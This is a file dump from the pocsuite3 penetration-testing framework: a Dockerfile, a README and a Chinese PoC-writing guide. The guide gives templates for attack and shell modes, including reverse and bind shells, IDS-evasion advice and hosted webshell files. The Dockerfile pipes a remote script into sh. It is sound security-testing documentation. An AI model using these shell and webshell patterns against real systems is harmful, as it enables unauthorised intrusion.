    "content": "FROM ubuntu:22.04\nLABEL maintainer=\"Knownsec 404 Team\"\n\nARG version\nENV DEBIAN_FRONTEND=noninteractive\n\nRUN apt-get update \\\n    && apt-get install -y \\\n        python3 \\\n        python3-pip \\\n        net-tools \\\n        nload \\\n        htop \\\n        tmux \\\n        vim \\\n        wget \\\n        curl \\\n        zsh \\\n    && apt-get install -y sudo \\\n    && useradd -m pocsuite3 \\\n    && passwd --delete --unlock pocsuite3 \\\n    && echo \"pocsuite3 ALL=(ALL:ALL) NOPASSWD: ALL\" > /etc/sudoers.d/pocsuite3\n\nUSER pocsuite3\n\nRUN sh -c \"$(wget -O- https://raw.githubusercontent.com/13ph03nix/zsh-in-docker/master/zsh-in-docker.sh)\" -- \\\n    -t https://github.com/spaceship-prompt/spaceship-prompt \\\n    -p git \\\n    -p https://github.com/zsh-users/zsh-autosuggestions \\\n    -p https://github.com/zsh-users/zsh-completions \\\n    && sudo apt-get autoremove -y \\\n    && sudo apt-get clean -y \\\n    && sudo rm -rf /var/lib/apt/lists/*\n\nRUN sudo pip3 install --upgrade pip && sudo pip3 install --upgrade pocsuite3$([ -n \"$version\" ] && echo \"==\"${version})\n\nWORKDIR /home/pocsuite3\nCMD [\"zsh\"]\n"
  },
  {
    "path": "MANIFEST.in",
    "content": "include MANIFEST.in\ninclude LICENSE\ninclude README.md\ninclude CHANGELOG.md\ninclude CONTRIBUTORS.md\nrecursive-include pocsuite3 *\nrecursive-exclude pocsuite3 __pycache__\nrecursive-exclude pocsuite3 *.py[co]"
  },
  {
    "path": "README.md",
    "content": "# pocsuite3\n\n[![Python 3.x](https://img.shields.io/badge/python-3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/knownsec/pocsuite3/master/COPYING) [![Twitter](https://img.shields.io/badge/twitter-@seebug-blue.svg)](https://twitter.com/seebug_team)\n\n## Legal Disclaimer\nUsage of pocsuite3 for attacking targets without prior mutual consent is illegal.\npocsuite3 is for security testing purposes only\n\n## 法律免责声明\n未经事先双方同意，使用 pocsuite3 攻击目标是非法的。\npocsuite3 仅用于安全测试目的\n\n## Overview\n\npocsuite3 is an open-sourced remote vulnerability testing and proof-of-concept development framework developed by the [**Knownsec 404 Team**](http://www.knownsec.com/). \nIt comes with a powerful proof-of-concept engine, many nice features for the ultimate penetration testers and security researchers.\n\n## Features\n* PoC scripts can running with `verify`, `attack`, `shell` mode in different way\n* Plugin ecosystem\n* Dynamic loading PoC script from anywhere (local file, redis, database, Seebug ...)\n* Load multi-target from anywhere (CIDR, local file, redis, database, Zoomeye, Shodan ...)\n* Results can be easily exported\n* Dynamic patch and hook requests \n* Both command line tool and python package import to use\n* IPv6 support\n* Global HTTP/HTTPS/SOCKS proxy support\n* Simple spider API for PoC script to use\n* YAML PoC support, compatible with [nuclei](https://github.com/projectdiscovery/nuclei)\n* Integrate with [Seebug](https://www.seebug.org) (for load PoC from Seebug website)\n* Integrate with [ZoomEye](https://www.zoomeye.org), [Shodan](https://www.shodan.io), etc.  (for load target use `Dork`)\n* Integrate with [Ceye](http://ceye.io/), [Interactsh](https://github.com/projectdiscovery/interactsh) (for verify blind DNS and HTTP request)\n* Friendly debug PoC scripts with IDEs\n* More ...\n\n## Screenshots\n\n### pocsuite3 console mode\n[![asciicast](https://asciinema.org/a/219356.png)](https://asciinema.org/a/219356)\n\n### pocsuite3 shell mode\n[![asciicast](https://asciinema.org/a/203101.png)](https://asciinema.org/a/203101)\n\n### pocsuite3 load PoC from Seebug \n[![asciicast](https://asciinema.org/a/207350.png)](https://asciinema.org/a/207350)\n\n### pocsuite3 load multi-target from ZoomEye\n[![asciicast](https://asciinema.org/a/133344.png)](https://asciinema.org/a/133344)\n\n### pocsuite3 load multi-target from Shodan\n[![asciicast](https://asciinema.org/a/207349.png)](https://asciinema.org/a/207349)\n\n### pocsuite3 load nuclei template\n![](./asset/img/yaml_poc_showcase.png)\n\n### build a docker vulnerability environment\n**require Docker**\n\nwrite dockerfile in poc\n```python\nclass DemoPOC(POCBase):\n    vulID = ''  # ssvid\n    version = '1.0'\n    author = ['']\n    vulDate = '2029-5-8'\n    createDate = '2019-5-8'\n    updateDate = '2019-5-8'\n    references = ['']\n    name = 'Struts2 045 RCE CVE-2017'\n    appPowerLink = ''\n    appName = 'struts2'\n    appVersion = ''\n    vulType = ''\n    desc = '''S2-045:影响版本Struts 2.3.20-2.3.28(除了2.3.20.3和2.3.24.3)'''\n    samples = []\n    category = POC_CATEGORY.EXPLOITS.WEBAPP\n    dockerfile = '''FROM isxiangyang/struts2-all-vul-pocsuite:latest'''\n```\n#### only run vulnerable environments\n```python\npocsuite -r pocs/Apache_Struts2/20170129_WEB_Apache_Struts2_045_RCE_CVE-2017-5638.py  --docker-start  --docker-port 127.0.0.1:8080:8080 --docker-env A=test --docker-port 8899:7890\n\n,------.                        ,--. ,--.       ,----.   {2.0.6-cc19ae5}\n|  .--. ',---. ,---.,---.,--.,--`--,-'  '-.,---.'.-.  |\n|  '--' | .-. | .--(  .-'|  ||  ,--'-.  .-| .-. : .' <\n|  | --'' '-' \\ `--.-'  `'  ''  |  | |  | \\   --/'-'  |\n`--'     `---' `---`----' `----'`--' `--'  `----`----'   https://pocsuite.org\n[*] starting at 15:34:12\n\n[15:34:12] [INFO] loading PoC script 'pocs/Apache_Struts2/20170129_WEB_Apache_Struts2_045_RCE_CVE-2017-5638.py'\n[15:34:12] [INFO] Image struts2_045_rce_cve-2017:pocsuite exists\n[15:34:12] [INFO] Run container fa5b3b7bb2ea successful!\n[15:34:12] [INFO] pocsusite got a total of 0 tasks\n[15:34:12] [INFO] Scan completed,ready to print\n```\n\n#### run vulnerable environments and run poc \n```python\n pocsuite -r pocs/Apache_Struts2/20170129_WEB_Apache_Struts2_045_RCE_CVE-2017-5638.py -u http://127.0.0.1:8080/S2-032-showcase/fileupload/doUpload.action --docker-start  --docker-port 127.0.0.1:8080:8080 \n\n,------.                        ,--. ,--.       ,----.   {2.0.6-cc19ae5}\n|  .--. ',---. ,---.,---.,--.,--`--,-'  '-.,---.'.-.  |\n|  '--' | .-. | .--(  .-'|  ||  ,--'-.  .-| .-. : .' <\n|  | --'' '-' \\ `--.-'  `'  ''  |  | |  | \\   --/'-'  |\n`--'     `---' `---`----' `----'`--' `--'  `----`----'   https://pocsuite.org\n[*] starting at 15:38:46\n\n[15:38:46] [INFO] loading PoC script 'pocs/Apache_Struts2/20170129_WEB_Apache_Struts2_045_RCE_CVE-2017-5638.py'\n[15:38:46] [INFO] Image struts2_045_rce_cve-2017:pocsuite exists\n[15:38:47] [INFO] Run container 1a6eae1e8953 successful!\n[15:38:47] [INFO] pocsusite got a total of 1 tasks\n[15:38:47] [INFO] running poc:'Struts2 045 RCE CVE-2017' target 'http://127.0.0.1:8080/S2-032-showcase/fileupload/doUpload.action'\n[15:39:17] [+] URL : http://127.0.0.1:8080/S2-032-showcase/fileupload/doUpload.action\n[15:39:17] [+] Headers : {'Server': 'Apache-Coyote/1.1', 'nyvkx': '788544', 'Set-Cookie': 'JSESSIONID=0A9892431B32A541B51D4721FA0D2728; Path=/S2-032-showcase/; HttpOnly', 'Content-Type': 'text/html;charset=ISO-8859-1', 'Transfer-Encoding': 'chunked', 'Date': 'Mon, 25 Dec 2023 07:39:17 GMT'}\n[15:39:17] [INFO] Scan completed,ready to print\n\n+------------------------------------------------------------------+--------------------------+--------+-----------+---------+---------+\n| target-url                                                       |         poc-name         | poc-id | component | version |  status |\n+------------------------------------------------------------------+--------------------------+--------+-----------+---------+---------+\n| http://127.0.0.1:8080/S2-032-showcase/fileupload/doUpload.action | Struts2 045 RCE CVE-2017 |        |  struts2  |         | success |\n+------------------------------------------------------------------+--------------------------+--------+-----------+---------+---------+\nsuccess : 1 / 1\n```\n\n\n#### Introduction to vulnerability environment construction\n```shell\nDocker Environment:\n  Docker Environment options\n\n  --docker-start        Run the docker for PoC\n  --docker-port DOCKER_PORT\n                        Publish a container's port(s) to the host\n  --docker-volume DOCKER_VOLUME\n                        Bind mount a volume\n  --docker-env DOCKER_ENV\n                        Set environment variables\n  --docker-only         Only run docker environment\n\n```\n - `--docker-start` Start environment parameters. If specified, docker images will be obtained from poc.\n - `--docker-port`  publish a container's port(s) to the host, like: `--docker-port [host port]:[container port]`,you can specify multiple\n - `--docker-volume` bind mount a volume,like `--docker-volume /host/path/:/container/path`,you can specify multiple\n - `--docker-env`  set environment variables `--docker-env VARIBLES=value`,you can specify multiple\n - `--docker-only` only start the docker environment\n\nThe usage is roughly the same as docker’s command line parameters.\n\n## Requirements\n\n- Python 3.8+\n- Works on Linux, Windows, Mac OSX, BSD, etc.\n\n## Installation\n\nPaste at a terminal prompt:\n\n### Python pip\n\n``` bash\npip3 install pocsuite3\n\n# use other pypi mirror\npip3 install -i https://pypi.tuna.tsinghua.edu.cn/simple pocsuite3\n```\n\n### MacOS\n\n``` bash\nbrew update\nbrew info pocsuite3\nbrew install pocsuite3\n```\n\n### [Debian](https://tracker.debian.org/pkg/pocsuite3), [Ubuntu](https://launchpad.net/ubuntu/+source/pocsuite3), [Kali](http://pkg.kali.org/pkg/pocsuite3)\n\n``` bash\nsudo apt update\nsudo apt install pocsuite3\n```\n\n### Docker\n\n```\ndocker run -it pocsuite3/pocsuite3\n```\n\n### ArchLinux\n\n``` bash\nyay pocsuite3\n```\n\n###\n\nOr click [here](https://github.com/knownsec/pocsuite3/archive/master.zip) to download the latest source zip package and extract\n\n``` bash\nwget https://github.com/knownsec/pocsuite3/archive/master.zip\nunzip master.zip\ncd pocsuite3-master\npip3 install -r requirements.txt\npython3 setup.py install\n```\n\n\nThe latest version of this software is available at: https://pocsuite.org\n\n## Documentation\n\nDocumentation is available at: https://pocsuite.org\n\n## Usage\n\n```\ncli mode\n\n\t# basic usage, use -v to set the log level\n\tpocsuite -u http://example.com -r example.py -v 2\n\n\t# run poc with shell mode\n\tpocsuite -u http://example.com -r example.py -v 2 --shell\n\n\t# search for the target of redis service from ZoomEye and perform batch detection of vulnerabilities. The threads is set to 20\n\tpocsuite -r redis.py --dork service:redis --threads 20\n\n\t# load all poc in the poc directory and save the result as html\n\tpocsuite -u http://example.com --plugins poc_from_pocs,html_report\n\n\t# load the target from the file, and use the poc under the poc directory to scan\n\tpocsuite -f batch.txt --plugins poc_from_pocs,html_report\n\n\t# load CIDR target\n\tpocsuite -u 10.0.0.0/24 -r example.py\n\n\t# the custom parameters `command` is implemented in ecshop poc, which can be set from command line options\n\tpocsuite -u http://example.com -r ecshop_rce.py --attack --command \"whoami\"\n\nconsole mode\n    poc-console\n```\n\n## How to Contribute\n\n1. Check for open issues or open a fresh issue to start a discussion around a feature idea or a bug.\n2. Fork [the repository](https://github.com/knownsec/pocsuite3) on GitHub to start making your changes.\n3. Write a test which shows that the bug was fixed or that the feature works as expected.\n4. Send a pull request or bug to the maintainer until it gets merged or fixed. Make sure to add yourself to [Contributors](./CONTRIBUTORS.md).\n\n\n## Links\n\n* [Contributors](./CONTRIBUTORS.md)\n* [ChangeLog](./CHANGELOG.md)\n* [Bug tracking](https://github.com/knownsec/pocsuite3/issues)\n* [Copyright](./COPYING)\n* [Pocsuite](https://pocsuite.org)\n* [Seebug](https://www.seebug.org)\n* [ZoomEye](https://www.zoomeye.org)\n* [Knownsec](https://www.knownsec.com)\n"
  },
  {
    "path": "docs/CODING.md",
    "content": "# This document has stopped maintenance, please move to https://pocsuite.org\n\nPocsuite3 开发文档及 PoC 编写规范及要求说明\n---\n* [概述](#overview)\n* [插件编写规范](#write_plugin)\n  * [TARGETS 类型插件](#plugin_targets)\n  * [POCS 类型插件](#plugin_pocs)\n  * [RESULTS 类型插件](#plugin_results)\n* [PoC 编写规范](#write_poc)\n  * [PoC python 脚本编写步骤](#pocpy)\n  * [可自定义参数的 PoC](#可自定义参数的插件<div-id=\"plugin_div\"></div>)\n  * [PoC 编写注意事项](#attention)\n  * [Pocsuite3 远程调用文件列表](#inclue_files)\n  * [通用API列表](#common_api)\n    * [通用方法](#api_common)\n    * [参数调用](#api_params)\n  * [PoC 代码示例](#PoCexample)\n    * [PoC Python 代码示例](#pyexample)\n* [Pocsuite3 集成调用](#pocsuite_import)\n* [PoC 规范说明](#PoCstandard)\n  * [PoC 编号说明](#idstandard)\n  * [PoC 命名规范](#namedstandard)\n  * [PoC 第三方模块依赖说明](#requires)\n  * [PoC 结果返回规范](#resultstandard)\n    * [extra 字段说明](#result_extara)\n    * [通用字段说明](#result_common)\n  * [漏洞类型规范](#vulcategory)\n\n\n### 概述<div id=\"overview\"></div>\n 本文档为 Pocsuite3 插件及 PoC 脚本编写规范及要求说明，包含了插件、PoC 脚本编写的步骤以及相关 API 的一些说明。一个优秀的 PoC 离不开反复的调试、测试，在阅读本文档前，请先阅读 [《Pocsuite3 使用文档》](./USAGE.md)。或参考 https://paper.seebug.org/904/ 查看 Pocsuite3 的一些新特性。\n\n### 插件编写规范<div id=\"write_plugin\"></div>\nPocsuite3 共有三种类型的插件，定义在 `pocsuite3.lib.core.enums.PLUGIN_TYPE` 中。\n\n#### TARGETS 类型插件<div id=\"plugin_targets\"></div>\nTARGETS 类型插件用来自定义在系统初始化时候加载检测目标的功能，例如从 redis 或数据库加载 targets\n\n```python\nfrom pocsuite3.api import PluginBase\nfrom pocsuite3.api import PLUGIN_TYPE\nfrom pocsuite3.api import logger\nfrom pocsuite3.api import register_plugin\n\nclass TargetPluginDemo(PluginBase):\n    category = PLUGIN_TYPE.TARGETS\n    \n    def init(self):\n        targets = ['www.a.com', 'www.b.com']  # load from redis, database ...\n        count = 0\n            for target in targets:\n                if self.add_target(target):\n                    count += 1\n\n        info_msg = \"[PLUGIN] get {0} target(s) from demo\".format(count)\n        logger.info(info_msg)\n\n\nregister_plugin(TargetPluginDemo)\n```\n\n#### POCS 类型插件<div id=\"plugin_pocs\"></div>\nPOCS 类型插件用来自定义在系统初始化时候加载 PoC 脚本的功能，例如从 redis 或数据库加载 PoC 脚本代码\n\n```python\nfrom pocsuite3.api import PluginBase\nfrom pocsuite3.api import PLUGIN_TYPE\nfrom pocsuite3.api import logger\nfrom pocsuite3.api import register_plugin\n\nclass TargetPluginDemo(PluginBase):\n    category = PLUGIN_TYPE.POCS\n    \n    def init(self):\n        pocs = [POC_CODE_1, POC_CODE_2]  # load PoC code from redis, database ...\n        count = 0\n            for poc in pocs:\n                if poc and self.add_poc(poc):\n                    count += 1\n\n        info_msg = \"[PLUGIN] get {0} poc(s) from demo\".format(count)\n        logger.info(info_msg)\n\n\nregister_plugin(TargetPluginDemo)\n```\n\n#### RESULTS 类型插件<div id=\"plugin_results\"></div>\nRESULTS 类型插件用来自定义检测结果的导出，例如导出 html 报表等\n\n```python\nfrom pocsuite3.api import PluginBase\nfrom pocsuite3.api import PLUGIN_TYPE\nfrom pocsuite3.api import logger\nfrom pocsuite3.api import get_results\nfrom pocsuite3.api import register_plugin\n\nclass HtmlReport(PluginBase):\n    category = PLUGIN_TYPE.RESULTS\n\n    def init(self):\n        debug_msg = \"[PLUGIN] html_report plugin init...\"\n        logger.debug(debug_msg)\n\n    def start(self):\n        # TODO\n        # Generate html report\n\n        for result in get_results():\n            pass\n\n        info_msg = '[PLUGIN] generate html report done.'\n        logger.info(info_msg)\n\nregister_plugin(HtmlReport)\n\n```\n\n若需要实时的保存结果，需要申明 `handle` 来处理，可参考 https://github.com/knownsec/pocsuite3/blob/master/pocsuite3/plugins/file_record.py 的写法。\n\n### PoC 编写规范<div id=\"write_poc\"></div>\n\n#### PoC python 脚本编写步骤<div id=\"pocpy\"></div>\n\n本小节介绍 PoC python 脚本编写\n\nPocsuite3 仅支持 Python 3.x，如若编写 Python3 格式的 PoC，需要开发者具备一定的 Python3 基础\n\n1. 首先新建一个 `.py` 文件，文件名应当符合 [《PoC 命名规范》](#namedstandard)\n\n\n2. 编写 PoC 实现类 `DemoPOC`，继承自 `PoCBase` 类.\n\n```python\nfrom pocsuite3.api import Output, POCBase, register_poc, requests, logger\nfrom pocsuite3.api import get_listener_ip, get_listener_port\nfrom pocsuite3.api import REVERSE_PAYLOAD\nfrom pocsuite3.lib.utils import random_str\n\nclass DemoPOC(POCBase):\n    ...\n```\n\n3. 填写 PoC 信息字段，**请认真填写所有基本信息字段**\n```python\n    vulID = '99335'  # Seebug 漏洞收录ID，如果没有则为0\n    version = '1'  # PoC 的版本，默认为1\n    author = 'seebug'  # PoC 的作者\n    vulDate = '2021-8-18'  # 漏洞公开日期 (%Y-%m-%d)\n    createDate = '2021-8-20'  # PoC 编写日期 (%Y-%m-%d)\n    updateDate = '2021-8-20'  # PoC 更新日期 (%Y-%m-%d)\n    references = ['https://www.seebug.org/vuldb/ssvid-99335']  # 漏洞来源地址，0day 不用写\n    name = 'Fortinet FortiWeb 授权命令执行 (CVE-2021-22123)'  # PoC 名称，建议命令方式：<厂商> <组件> <版本> <漏洞类型> <cve编号>\n    appPowerLink = 'https://www.fortinet.com'  # 漏洞厂商主页地址\n    appName = 'FortiWeb'  # 漏洞应用名称\n    appVersion = '<=6.4.0'  # 漏洞影响版本\n    vulType = 'Code Execution'  # 漏洞类型，参见漏洞类型规范表\n    desc = '/api/v2.0/user/remoteserver.saml接口的name参数存在命令注入'  # 漏洞简要描述\n    samples = ['http://192.168.1.1']  # 测试样列，就是用 PoC 测试成功的目标\n    install_requires = ['BeautifulSoup4:bs4']  # PoC 第三方模块依赖，请尽量不要使用第三方模块，必要时请参考《PoC第三方模块依赖说明》填写\n    pocDesc = ''' poc的用法描述 '''\n    dork = {'zoomeye': 'deviceState.admin.hostname'}  # 搜索 dork，如果运行 PoC 时不提供目标且该字段不为空，将会调用插件从搜索引擎获取目标。\n    suricata_request = '''http.uri; content: \"/api/v2.0/user/remoteserver.saml\";'''  # 请求流量 suricata 规则\n    suricata_response = ''  # 响应流量 suricata 规则\n```\n\n4. 编写验证模式\n\n```python\n  def _verify(self):\n        output = Output(self)\n        # 验证代码\n        if result:  # result是返回结果\n            output.success(result)\n        else:\n            output.fail('target is not vulnerable')\n        return output\n```\n\n5. 编写攻击模式\n\n攻击模式可以对目标进行 getshell，查询管理员帐号密码等操作，定义它的方法与检测模式类似\n```python\ndef _attack(self):\n    output = Output(self)\n    result = {}\n    # 攻击代码\n```\n\n和验证模式一样，攻击成功后需要把攻击得到结果赋值给 result 变量\n\n**注意：如果该 PoC 没有攻击模式，可以在 \\_attack() 函数下加入一句 return self.\\_verify() 这样你就无需再写 \\_attack 函数了。**\n\n6. 编写shell模式 [**new**]\n\nPocsuite3 在 shell 模式会默认监听 `6666` 端口，编写对应的攻击代码，让目标执行反向连接运行 Pocsuite3 系统 IP 的 `6666` 端口即可得到一个 shell\n```python\ndef _shell(self):\n    cmd = REVERSE_PAYLOAD.BASH.format(get_listener_ip(), get_listener_port())\n    # 攻击代码 execute cmd\n```\n\nshell 模式下，只能运行单个 PoC 脚本，控制台会进入 shell 交互模式执行命令及输出\n\n从 ***1.8.5*** 版本开始，Pocsuite3 支持 bind shell。shell 模式和原来的操作方式一致，也需要指定监听 ip 和端口，监听 ip 可以是本地任意 ip，也可以是远程 vps ip。\n\nbind shell 的实现位于 `./pocsuite3/modules/listener/bind_tcp.py`，原理是实现了一个中间层，一端连接漏洞目标的 bind shell（如 telnet 服务、nc 启动的 shell、php 一句话等），另一端连接用户指定的监听 ip 和端口，如此一来，shell 模式可以不受网络环境限制，支持在内网使用。\n\n目前支持三种 bind shell，使用场景如下：\n\n`bind_shell`：通用方法，在 shell 模式中直接调用 `return bind_shell(self, rce_func)` 即可，非常便捷。针对有回显的漏洞，在 PoC 中实现一个 rce（函数名可自定义）方法，函数参数为命令输入，输出为命令输出。如果漏洞无回显，也可以通过写一句话转为有回显的。值得一提的是，用户也可以在 rce 方法中实现流量的加解密以逃避 IDS 检测。\n\n`bind_tcp_shell`：对 tcp 绑定型 shell 的原生支持，在 shell 模式中 `return bind_tcp_shell(bind_shell_ip, bind_shell_port)`\n\n`bind_telnet_shell`：对 telnet 服务的原生支持，在 shell 模式中 `return bind_telnet_shell(ip, port, username, password)`\n\n从 ***1.8.6*** 版本开始，Pocsuite3 支持加密的 shell。PoC 中使用 openssl 的反弹命令（也可以用代码反弹），并且在运行时指定 `--tls` 选项。\n\n7. 结果返回\n\n不管是验证模式或者攻击模式，返回结果 result 中的 key 值必须按照下面的规范来写，result 各字段意义请参见[《PoC 结果返回规范》](#resultstandard)\n\n```\n'Result':{\n   'DBInfo' :   {'Username': 'xxx', 'Password': 'xxx', 'Salt': 'xxx' , 'Uid':'xxx' , 'Groupid':'xxx'},\n   'ShellInfo': {'URL': 'xxx', 'Content': 'xxx' },\n   'FileInfo':  {'Filename':'xxx','Content':'xxx'},\n   'XSSInfo':   {'URL':'xxx','Payload':'xxx'},\n   'AdminInfo': {'Uid':'xxx' , 'Username':'xxx' , 'Password':'xxx' }\n   'Database':  {'Hostname':'xxx', 'Username':'xxx',  'Password':'xxx', 'DBname':'xxx'},\n   'VerifyInfo':{'URL': 'xxx' , 'Postdata':'xxx' , 'Path':'xxx'}\n   'SiteAttr':  {'Process':'xxx'}\n   'Stdout': 'result output string'\n}\n```\n\noutput 为 Pocsuite3 标准输出 API，如果要输出调用成功信息则使用 `output.success(result)`，如果要输出调用失败则 `output.fail()`，系统自动捕获异常，不需要 PoC 里处理捕获，如果 PoC 里使用 try...except 来捕获异常，可通过`output.error('Error Message')` 来传递异常内容，建议直接使用模板中的 parse_output 通用结果处理函数对 _verify 和 _attack 结果进行处理。\n```\ndef _verify(self, verify=True):\n    result = {}\n    ...\n\n    return self.parse_output(result)\n\ndef parse_output(self, result):\n    output = Output(self)\n    if result:\n        output.success(result)\n    else:\n        output.fail()\n    return output\n```\n\n8. 注册 PoC 实现类\n\n在类的外部调用 register_poc() 方法注册 PoC 类\n```\nclass DemoPOC(POCBase):\n    # POC内部代码\n\n# 注册 DemoPOC 类\nregister_poc(DemoPOC)\n```\n\n#### 可自定义参数的 PoC<div id=\"plugin_div\"></div>\n如果你需要编写一个可以交互参数的 PoC 文件(例如有的 PoC 脚本需要填写登录信息，或者任意命令执行时执行任意命令)，那么可以在 PoC 文件中声明一个 `_options` 方法。一个简单的例子如下：\n\n```python\nfrom collections import OrderedDict\n\nfrom pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, VUL_TYPE\nfrom pocsuite3.api import OptString\n\n\nclass DemoPOC(POCBase):\n    vulID = '0'  # ssvid\n    version = '1.0'\n    author = ['seebug']\n    vulDate = '2019-2-26'\n    createDate = '2019-2-26'\n    updateDate = '2019-2-25'\n    references = ['']\n    name = '自定义命令参数登录例子'\n    appPowerLink = 'http://www.knownsec.com/'\n    appName = 'test'\n    appVersion = 'test'\n    vulType = VUL_TYPE.XSS\n    desc = '''这个例子说明了你可以使用console模式设置一些参数或者使用命令中的'--'来设置自定义的参数'''\n    samples = []\n    category = POC_CATEGORY.EXPLOITS.WEBAPP\n\n    def _options(self):\n        o = OrderedDict()\n        o[\"username\"] = OptString('', description='这个poc需要用户登录，请输入登录账号', require=True)\n        o[\"password\"] = OptString('', description='这个poc需要用户密码，请输出用户密码', require=False)\n        return o\n\n    def _verify(self):\n        result = {}\n        payload = \"username={0}&password={1}\".format(self.get_option(\"username\"), self.get_option(\"password\"))\n        r = requests.post(self.url, data=payload)\n        if r.status_code == 200:\n            result['VerifyInfo'] = {}\n            result['VerifyInfo']['URL'] = self.url\n            result['VerifyInfo']['Postdata'] = payload\n\n        return self.parse_output(result)\n\n    def _attack(self):\n        return self._verify()\n\n    def parse_output(self, result):\n        output = Output(self)\n        if result:\n            output.success(result)\n        else:\n            output.fail('target is not vulnerable')\n        return output\n\n\nregister_poc(DemoPOC)\n```\n\n它可以使你在 `console` 或者 `cli` 模式下调用。\n\n- 在 console 模式下，Pocsuite3 模仿了 msf 的操作模式，你只需要使用 `set` 命令来设置相应的参数，然后 `run` 或者 `check` 来执行(`attack` 和 `shell` 命令也可以)。\n- 在 cli 模式下，如上面例子所示，定义了 `username` 和 `password` 两个字段，你可以在参数后面加上 `--username test --password test` 来调用执行，需要注意的是，如果你的参数中包含了空格，用双引号 `\"` 来包裹它。\n\n##### 自定义字段\n\n像其他工具一样，如果你想使用自定义的字段，将它定义到 `_options` 方法中，然后返回一个数组。如果在 PoC 文件中想调用自定义字段，需要提前引入：\n\n```python\nfrom pocsuite3.api import OptString, OptDict, OptIP, OptPort, OptBool, OptInteger, OptFloat, OptItems\n```\n\n| 字段类型   | 字段描述                                                     | 参数解释                                                     | 相关例子 |\n| ---------- | ------------------------------------------------------------ | ------------------------------------------------------------ | -------- |\n| OptString  | 接收字符串类型参数                                           | default: 传入一个默认值<br />descript: 字段描述，默认为空<br />require: 是否必须，默认False |          |\n| OptDict    | 接收一个字典类型参数，在选择上如果选择key，调用时会调用对应的value | default: 传入一个默认值<br />descript: 字段描述，默认为空<br />require: 是否必须，默认False |          |\n| OptIP      | 接收IP类型的字符串                                           | default: 传入一个默认值<br />descript: 字段描述，默认为空<br />require: 是否必须，默认False |          |\n| OptPort    | 接收端口类型参数                                             | default: 传入一个默认值<br />descript: 字段描述，默认为空<br />require: 是否必须，默认False |          |\n| OptBool    | 接收布尔类型参数                                             | default: 传入一个默认值<br />descript: 字段描述，默认为空<br />require: 是否必须，默认False |          |\n| OptInteger | 接收整数类型参数                                             | default: 传入一个默认值<br />descript: 字段描述，默认为空<br />require: 是否必须，默认False |          |\n| OptFloat   | 接收浮点数类型参数                                           | default: 传入一个默认值<br />descript: 字段描述，默认为空<br />require: 是否必须，默认False |          |\n| OptItems   | 接收list类型参数                                             | default: 传入一个默认值<br />selectd: 默认选择<br />descript: 字段描述，默认为空<br />require: 是否必须，默认False |          |\n\n需要注意的是，`console` 模式支持所有的参数类型，`cli` 模式除了`OptDict`、`OptBool`、`OptItems` 类型外都支持。\n\n#### PoC 编写注意事项<div id=\"attention\"></div>\n1. 要求在编写 PoC 的时候，尽量的不要使用第三方模块，如果在无法避免的情况下，请认真填写 install_requires 字段，填写格式参考《PoC 第三方模块依赖说明》。\n2. 要求编写 PoC 的时候，尽量的使用 Pocsuite3 已经封装的 API 提供的方法，避免自己重复造轮子，对于一些通用方法可以加入到 API，具体参考《通用 API 列表》。\n3. 如果 PoC 需要包含远程文件等，统一使用 Pocsuite3 远程调用文件，具体可以参考[《Pocsuite3 远程调用文件列表》](#inclue_files)，不要引入第三方文件，如果缺少对应文件，联系管理员添加。\n4. 要求每个 PoC 在编写的时候，尽可能的不要要求输入参数，这样定制化过高，不利于 PoC 的批量化调度执行，尽可能的 PoC 内部实现参数的构造，至少应该设置默认值，如某个 PoC 需要指定用户id，那么应该允许使用 extar_param 传入 id，也应该没有传入该参数的时候自动设置默认值，不应该影响 PoC 的正常运行与验证。\n5. 要求每个 PoC 在输出结果的时候，尽可能的在不破坏的同时输出取证信息，如输出进程列表，具体参考[《PoC 结果返回规范》](#resultstandard)。\n6. 要求认真填写 PoC 信息字段，其中 vulID 请填写 Seebug 上的漏洞 ID（不包含 SSV-）。\n7. 为了防止误报产生以及避免被关键词被 WAF 等作为检测特征，要求验证结果判断的时候输出随机的字符串（可以调用 API 中的`random_str`方法），而不用采用固定字符串。\n比如：  \n\n```\n检测 SQL 注入时：\n    token = random_str()\n    payload = 'select md5(%s)' % token\n    ...\n\n    if hashlib.new('md5', token).hexdigest() in content:\n        result['VerifyInfo'] = {}\n        result['VerifyInfo']['URL'] = self.url\n\n检测 XSS 漏洞时：\n    # 可参考 https://paper.seebug.org/1119/\n\n    token = random_str()\n    payload = 'alert(\"%s\")' % token\n    ...\n\n    if payload in content:\n        result['VerifyInfo'] = {}\n        result['VerifyInfo']['URL'] = self.url\n\n检测 PHP 文件上传是否成功：\n\n    token = random_str()\n    payload = '<?php echo md5(\"%s\");unlink(__FILE__);?>' % token\n    ...\n\n    if hashlib.new('md5', token).hexdigest() in content:\n        result['VerifyInfo'] = {}\n        result['VerifyInfo']['URL'] = self.url\n```\n\n8. 任意文件如果需要知道网站路径才能读取文件的话，可以读取系统文件进行验证，要写 Windows 版和 Linux 版两个版本。\n9. 检测模式下，上传的文件一定要删掉。\n10. 程序可以通过某些方法获取表前缀，just do it；若不行，保持默认表前缀。\n11. PoC 编写好后，务必进行测试，测试规则为：5 个不受漏洞影响的网站，确保 PoC 攻击不成功；5 个受漏洞影响的网站，确保 PoC 攻击成功\n\n#### Pocsuite3 远程调用文件列表<div id=\"inclue_files\"></div>\n部分 PoC 需要采用包含远程文件的形式，要求基于 Pocsuite3 的 PoC 统一调用统一文件(如需引用未在以下文件列表内文件，请联系 404-team@knownsec.com 或者直接提交 issue)。\n统一 URL 调用路径：`https://pocsuite.org/include_files/`，如 `https://pocsuite.org/include_files/xxe_verify.xml`\n\n**文件列表**\n\n|文件名|说明|\n|-----|---|\n|a.jsp|一个通用简单的 JSP 一句话 Shell，攻击模式|\n|b.jsp|一个通用简单的 JSP 一句话 Shell，验证模式|\n|php_attack.txt|PHP 一句话|\n|php_verify.txt|PHP 打印 md5 值|\n|xxe_verify.xml|XXE 验证文件|\n\n\n#### 通用 API 列表<div id=\"common_api\"></div>\n在编写 PoC 的时候，相关方法请尽量调用通用的已封装的 API\n\n**通用方法**<div id=\"api_common\"></div>\n\n|方法|说明|\n|---|----|\n|from pocsuite3.api import logger|日志记录，比如logger.log(info)|\n|from pocsuite3.api import requests|请求类，用法同 requests|\n|from pocsuite3.api import Seebug|Seebug api 调用|\n|from pocsuite3.api import ZoomEye|ZoomEye api 调用|\n|from pocsuite3.api import CEye|Ceye api 调用|\n|from pocsuite3.api import crawl|简单爬虫功能|\n|from pocsuite3.api import PHTTPServer|Http服务功能|\n|from 